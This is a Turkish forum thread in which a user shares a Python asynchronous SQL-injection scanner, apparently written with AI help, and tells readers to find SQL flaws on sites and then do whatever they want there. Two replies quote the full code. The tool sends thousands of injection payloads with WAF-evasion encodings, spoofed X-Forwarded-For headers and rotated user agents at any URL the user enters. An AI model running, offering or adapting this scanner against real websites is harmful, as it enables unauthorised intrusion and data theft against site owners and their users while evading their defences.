Open Source Web sql açık bulma

Mertistevip

Gold Üye
Katılım
2 Eki 2025
Mesajlar
420
Beğeniler
90
İletişim
Kodda aidan yardım lında sql açıklarını bulup ordan istediğinizi yapın siteye isteyen dah fazla method ekleyebılır bi e.s alırım isteyen siber güvenlik içinde kullaanabılır
Python:
import asyncio
import aiohttp
import random
import time
import os
import json
import warnings
import base64
from datetime import datetime

warnings.filterwarnings("ignore", category=DeprecationWarning)

MAX_CONCURRENT = 50
TIMEOUT_SEC = 10
COLORS = {"OK": "\033[92m", "FAIL": "\033[91m", "WARN": "\033[93m", "INFO": "\033[94m", "RESET": "\033[0m"}

class UltimateScanner:
    def __init__(self, target_url):
        self.target = target_url.strip().rstrip('/')
        if not self.target.startswith("http"):
            self.target = "https://" + self.target
        self.results = []
        self.stats = {"total": 0, "vuln": 0, "error": 0}
        self.payloads = self.generate_stealth_payloads()

    def generate_stealth_payloads(self):
        """WAF Bypass teknikleri ile zenginleştirilmiş payloadlar"""
        base = ["'", "''", "';", '"', '";', "') OR 1=1--", "1' ORDER BY 1--", "1' UNION SELECT NULL--"]
        expanded = []
        for b in base:
            expanded.append(b)
            expanded.append(b.replace(" ", "/**/"))
            expanded.append(b.replace("'", "%27").replace(" ", "%20"))
        
        for i in range(1, 2000):
            expanded.append(f"1' ORDER BY {i}--")
            expanded.append(f"1' UNION SELECT {','.join(['NULL']*min(i, 20))}--")
        return expanded

    async def stealth_fetch(self, session, payload):
        """Gizlilik odaklı istek gönderici"""
        headers = {
            "User-Agent": random.choice([
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/121.0.0.0",
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15",
                "Mozilla/5.0 (X11; Linux x86_64) Firefox/122.0"
            ]),
            "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
            "Referer": "https://www.google.com/"
        }
        
        test_url = f"{self.target}/?id={payload}"
        self.stats["total"] += 1
        curr_id = self.stats["total"]

        try:
            async with session.get(test_url, headers=headers, timeout=TIMEOUT_SEC, ssl=False, allow_redirects=True) as resp:
                text = await resp.text()
                status = resp.status
                
                color = COLORS["OK"] if status == 200 else COLORS["WARN"]
                print(f"[{curr_id:04}] {color}ATTACKING:{COLORS['RESET']} {payload[:25]:<25} | {color}CODE: {status}{COLORS['RESET']}")

                sql_errors = ["sql syntax", "mysql", "postgresql", "oracle", "sqlite", "unexpected end", "native client"]
                if any(err in text.lower() for err in sql_errors):
                    print(f"\n{COLORS['FAIL']}[!!!] KRİTİK ZAFİYET TESPİT EDİLDİ! [!!!]{COLORS['RESET']}")
                    print(f"{COLORS['FAIL']}[TİP] SQL Injection{COLORS['RESET']}")
                    print(f"{COLORS['FAIL']}[URL] {test_url}{COLORS['RESET']}\n")
                    self.results.append({"url": test_url, "type": "SQLi", "time": str(datetime.now())})
                    self.stats["vuln"] += 1

        except Exception:
            self.stats["error"] += 1

    async def run(self):
        os.system('cls' if os.name == 'nt' else 'clear')
        print(f"{COLORS['INFO']}=== ORION-X ULTIMATE STEALTH FRAMEWORK ==={COLORS['RESET']}")
        print(f"[*] HEDEF SITE: {self.target}")
        print(f"[*] PAYLOAD SAYISI: {len(self.payloads)}")
        print(f"[*] GİZLİLİK MODU: AKTİF (X-Forwarded-For Spoofing)")
        print(f"{'-'*50}\n")
        time.sleep(1)

        conn = aiohttp.TCPConnector(limit=MAX_CONCURRENT, ssl=False)
        async with aiohttp.ClientSession(connector=conn) as session:
            tasks = [self.stealth_fetch(session, p) for p in self.payloads]
            await asyncio.gather(*tasks)

        self.summary()

    def summary(self):
        print(f"\n{COLORS['INFO']}{'='*50}{COLORS['RESET']}")
        print(f"TARAMA SONUÇLARI")
        print(f"Toplam Deneme: {self.stats['total']}")
        print(f"Bulunan Açık : {self.stats['vuln']}")
        print(f"Hatalı/Engelli: {self.stats['error']}")
        print(f"Rapor        : scan_results.json")
        print(f"{COLORS['INFO']}{'='*50}{COLORS['RESET']}")
        
        with open("scan_results.json", "w") as f:
            json.dump(self.results, f, indent=4)

async def main():
    target = input("Taramak istediğiniz URL: ")
    scanner = UltimateScanner(target)
    await scanner.run()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[!] Çıkış yapılıyor...")
 
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
Eline saglık da sqlmap daha kapsamlı gibi
 
Kodda aidan yardım lında sql açıklarını bulup ordan istediğinizi yapın siteye isteyen dah fazla method ekleyebılır bi e.s alırım isteyen siber güvenlik içinde kullaanabılır
Python:
import asyncio
import aiohttp
import random
import time
import os
import json
import warnings
import base64
from datetime import datetime

warnings.filterwarnings("ignore", category=DeprecationWarning)

MAX_CONCURRENT = 50
TIMEOUT_SEC = 10
COLORS = {"OK": "\033[92m", "FAIL": "\033[91m", "WARN": "\033[93m", "INFO": "\033[94m", "RESET": "\033[0m"}

class UltimateScanner:
    def __init__(self, target_url):
        self.target = target_url.strip().rstrip('/')
        if not self.target.startswith("http"):
            self.target = "https://" + self.target
        self.results = []
        self.stats = {"total": 0, "vuln": 0, "error": 0}
        self.payloads = self.generate_stealth_payloads()

    def generate_stealth_payloads(self):
        """WAF Bypass teknikleri ile zenginleştirilmiş payloadlar"""
        base = ["'", "''", "';", '"', '";', "') OR 1=1--", "1' ORDER BY 1--", "1' UNION SELECT NULL--"]
        expanded = []
        for b in base:
            expanded.append(b)
            expanded.append(b.replace(" ", "/**/"))
            expanded.append(b.replace("'", "%27").replace(" ", "%20"))
       
        for i in range(1, 2000):
            expanded.append(f"1' ORDER BY {i}--")
            expanded.append(f"1' UNION SELECT {','.join(['NULL']*min(i, 20))}--")
        return expanded

    async def stealth_fetch(self, session, payload):
        """Gizlilik odaklı istek gönderici"""
        headers = {
            "User-Agent": random.choice([
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/121.0.0.0",
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15",
                "Mozilla/5.0 (X11; Linux x86_64) Firefox/122.0"
            ]),
            "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
            "Referer": "https://www.google.com/"
        }
       
        test_url = f"{self.target}/?id={payload}"
        self.stats["total"] += 1
        curr_id = self.stats["total"]

        try:
            async with session.get(test_url, headers=headers, timeout=TIMEOUT_SEC, ssl=False, allow_redirects=True) as resp:
                text = await resp.text()
                status = resp.status
               
                color = COLORS["OK"] if status == 200 else COLORS["WARN"]
                print(f"[{curr_id:04}] {color}ATTACKING:{COLORS['RESET']} {payload[:25]:<25} | {color}CODE: {status}{COLORS['RESET']}")

                sql_errors = ["sql syntax", "mysql", "postgresql", "oracle", "sqlite", "unexpected end", "native client"]
                if any(err in text.lower() for err in sql_errors):
                    print(f"\n{COLORS['FAIL']}[!!!] KRİTİK ZAFİYET TESPİT EDİLDİ! [!!!]{COLORS['RESET']}")
                    print(f"{COLORS['FAIL']}[TİP] SQL Injection{COLORS['RESET']}")
                    print(f"{COLORS['FAIL']}[URL] {test_url}{COLORS['RESET']}\n")
                    self.results.append({"url": test_url, "type": "SQLi", "time": str(datetime.now())})
                    self.stats["vuln"] += 1

        except Exception:
            self.stats["error"] += 1

    async def run(self):
        os.system('cls' if os.name == 'nt' else 'clear')
        print(f"{COLORS['INFO']}=== ORION-X ULTIMATE STEALTH FRAMEWORK ==={COLORS['RESET']}")
        print(f"[*] HEDEF SITE: {self.target}")
        print(f"[*] PAYLOAD SAYISI: {len(self.payloads)}")
        print(f"[*] GİZLİLİK MODU: AKTİF (X-Forwarded-For Spoofing)")
        print(f"{'-'*50}\n")
        time.sleep(1)

        conn = aiohttp.TCPConnector(limit=MAX_CONCURRENT, ssl=False)
        async with aiohttp.ClientSession(connector=conn) as session:
            tasks = [self.stealth_fetch(session, p) for p in self.payloads]
            await asyncio.gather(*tasks)

        self.summary()

    def summary(self):
        print(f"\n{COLORS['INFO']}{'='*50}{COLORS['RESET']}")
        print(f"TARAMA SONUÇLARI")
        print(f"Toplam Deneme: {self.stats['total']}")
        print(f"Bulunan Açık : {self.stats['vuln']}")
        print(f"Hatalı/Engelli: {self.stats['error']}")
        print(f"Rapor        : scan_results.json")
        print(f"{COLORS['INFO']}{'='*50}{COLORS['RESET']}")
       
        with open("scan_results.json", "w") as f:
            json.dump(self.results, f, indent=4)

async def main():
    target = input("Taramak istediğiniz URL: ")
    scanner = UltimateScanner(target)
    await scanner.run()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[!] Çıkış yapılıyor...")
e.s
 
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
Kodda aidan yardım lında sql açıklarını bulup ordan istediğinizi yapın siteye isteyen dah fazla method ekleyebılır bi e.s alırım isteyen siber güvenlik içinde kullaanabılır
Python:
import asyncio
import aiohttp
import random
import time
import os
import json
import warnings
import base64
from datetime import datetime

warnings.filterwarnings("ignore", category=DeprecationWarning)

MAX_CONCURRENT = 50
TIMEOUT_SEC = 10
COLORS = {"OK": "\033[92m", "FAIL": "\033[91m", "WARN": "\033[93m", "INFO": "\033[94m", "RESET": "\033[0m"}

class UltimateScanner:
    def __init__(self, target_url):
        self.target = target_url.strip().rstrip('/')
        if not self.target.startswith("http"):
            self.target = "https://" + self.target
        self.results = []
        self.stats = {"total": 0, "vuln": 0, "error": 0}
        self.payloads = self.generate_stealth_payloads()

    def generate_stealth_payloads(self):
        """WAF Bypass teknikleri ile zenginleştirilmiş payloadlar"""
        base = ["'", "''", "';", '"', '";', "') OR 1=1--", "1' ORDER BY 1--", "1' UNION SELECT NULL--"]
        expanded = []
        for b in base:
            expanded.append(b)
            expanded.append(b.replace(" ", "/**/"))
            expanded.append(b.replace("'", "%27").replace(" ", "%20"))
       
        for i in range(1, 2000):
            expanded.append(f"1' ORDER BY {i}--")
            expanded.append(f"1' UNION SELECT {','.join(['NULL']*min(i, 20))}--")
        return expanded

    async def stealth_fetch(self, session, payload):
        """Gizlilik odaklı istek gönderici"""
        headers = {
            "User-Agent": random.choice([
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/121.0.0.0",
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15",
                "Mozilla/5.0 (X11; Linux x86_64) Firefox/122.0"
            ]),
            "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
            "Referer": "https://www.google.com/"
        }
       
        test_url = f"{self.target}/?id={payload}"
        self.stats["total"] += 1
        curr_id = self.stats["total"]

        try:
            async with session.get(test_url, headers=headers, timeout=TIMEOUT_SEC, ssl=False, allow_redirects=True) as resp:
                text = await resp.text()
                status = resp.status
               
                color = COLORS["OK"] if status == 200 else COLORS["WARN"]
                print(f"[{curr_id:04}] {color}ATTACKING:{COLORS['RESET']} {payload[:25]:<25} | {color}CODE: {status}{COLORS['RESET']}")

                sql_errors = ["sql syntax", "mysql", "postgresql", "oracle", "sqlite", "unexpected end", "native client"]
                if any(err in text.lower() for err in sql_errors):
                    print(f"\n{COLORS['FAIL']}[!!!] KRİTİK ZAFİYET TESPİT EDİLDİ! [!!!]{COLORS['RESET']}")
                    print(f"{COLORS['FAIL']}[TİP] SQL Injection{COLORS['RESET']}")
                    print(f"{COLORS['FAIL']}[URL] {test_url}{COLORS['RESET']}\n")
                    self.results.append({"url": test_url, "type": "SQLi", "time": str(datetime.now())})
                    self.stats["vuln"] += 1

        except Exception:
            self.stats["error"] += 1

    async def run(self):
        os.system('cls' if os.name == 'nt' else 'clear')
        print(f"{COLORS['INFO']}=== ORION-X ULTIMATE STEALTH FRAMEWORK ==={COLORS['RESET']}")
        print(f"[*] HEDEF SITE: {self.target}")
        print(f"[*] PAYLOAD SAYISI: {len(self.payloads)}")
        print(f"[*] GİZLİLİK MODU: AKTİF (X-Forwarded-For Spoofing)")
        print(f"{'-'*50}\n")
        time.sleep(1)

        conn = aiohttp.TCPConnector(limit=MAX_CONCURRENT, ssl=False)
        async with aiohttp.ClientSession(connector=conn) as session:
            tasks = [self.stealth_fetch(session, p) for p in self.payloads]
            await asyncio.gather(*tasks)

        self.summary()

    def summary(self):
        print(f"\n{COLORS['INFO']}{'='*50}{COLORS['RESET']}")
        print(f"TARAMA SONUÇLARI")
        print(f"Toplam Deneme: {self.stats['total']}")
        print(f"Bulunan Açık : {self.stats['vuln']}")
        print(f"Hatalı/Engelli: {self.stats['error']}")
        print(f"Rapor        : scan_results.json")
        print(f"{COLORS['INFO']}{'='*50}{COLORS['RESET']}")
       
        with open("scan_results.json", "w") as f:
            json.dump(self.results, f, indent=4)

async def main():
    target = input("Taramak istediğiniz URL: ")
    scanner = UltimateScanner(target)
    await scanner.run()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[!] Çıkış yapılıyor...")
e.s
 

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt